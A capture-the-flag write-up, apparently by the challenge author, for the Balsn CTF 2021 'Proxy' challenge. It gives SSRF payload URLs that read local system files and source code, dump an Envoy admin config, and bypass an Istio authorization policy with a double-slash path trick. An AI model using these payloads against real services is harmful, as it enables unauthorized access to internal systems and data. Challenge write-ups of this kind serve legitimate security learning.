Skip to content

Instantly share code, notes, and snippets.

@YSc21
Created January 6, 2022 12:44

Revisions

  1. YSc21 created this gist Jan 6, 2022.
    86 changes: 86 additions & 0 deletions Balsn CTF 2021 - proxy writeup.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,86 @@
    # Proxy

    ```
    Never Trust, Always Verify.
    http://proxy.balsnctf.com/
    Flag is not a local file, you don't need to use any fuzzing tools.
    Author: ysc
    ```

    It's a misconfiguration of Kubernetes with Istio, there are 3 steps you need to do:
    1. Recon: SSRF recon to find local port 15000
    2. Recon: analyze local port 15000 and find a secret service
    3. Bypass: SSRF and bypass istio misconfiguration

    Here is istio misconfiguration reference: https://istio.io/latest/docs/ops/best-practices/security/#understand-path-normalization-in-authorization-policy

    ## Recon: SSRF recon to find local port 15000

    Same page as Balsn CTF 2020 TPC, you get:

    ```
    /query?site=[your website]
    ```

    Yeah, I really like SSRF.. and Recon ;) You can try some SSRF recon and find that it can read local files by `http://proxy.balsnctf.com/query?site=file://xxx`. Nice urllib!

    Query `http://proxy.balsnctf.com/query?site=file:///proc/net/tcp` and extract some listening TCP ports from `/proc/net/tcp`, you will find port 15000 (0x3A98).

    Also, you can get command line by `file:///proc/self/cmdline` and get source code by `file:///opt/workdir/main.py`:

    ```
    # main.py
    import urllib.request
    from flask import Flask, request
    app = Flask(__name__)
    @app.route("/meow")
    def meow():
    return 'meow?'
    @app.route("/query")
    def query():
    site = request.args.get('site')
    text = urllib.request.urlopen(site, timeout=5).read()
    return text
    @app.route("/")
    def hello_world():
    return "/query?site=[your website]"
    if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=8000)
    ```

    But it's weird that we can't access http://proxy.balsnctf.com/meow and only get `RBAC: access denied`.

    ## Recon: analyze local port 15000 and find a secret service

    Google `RBAC: access denied` you will find that it's Istio and port 15000 is **Envoy Admin Interface**, so `http://proxy.balsnctf.com/meow` is blocked by istio authorization policy.

    We can try to dump config by Envoy admin interface: `http://proxy.balsnctf.com/query?site=http://127.0.0.1:15000/config_dump`

    It's a large json file, after analyzing route configs in json, you will find we can access a secret service and port: `secret-service-20a91e:39307`

    ## Bypass: SSRF and bypass istio misconfiguration

    Try to access the secret service by SSRF: `http://proxy.balsnctf.com/query?site=http://secret-service-20a91e:39307` and get `here is your flag: <a href="/flag">/flag</a>`.

    But when you access `http://proxy.balsnctf.com/query?site=http://secret-service-20a91e:39307/flag`, you will get Internal Server Error, because the istio authorization policies in this challenge deny connections when we access `secret-service-20a91e:39307/flag`.

    So the last step is bypass! Let's read official docs: https://istio.io/latest/docs/ops/best-practices/security/#understand-path-normalization-in-authorization-policy

    Bypass path of istio authorization policy is easy, just `//` to bypass path normalization!

    Now we can get flag: `http://proxy.balsnctf.com/query?site=http://secret-service-20a91e:39307//flag`

    `BALSN{default_istio_service_mesh_envoy_configurations}`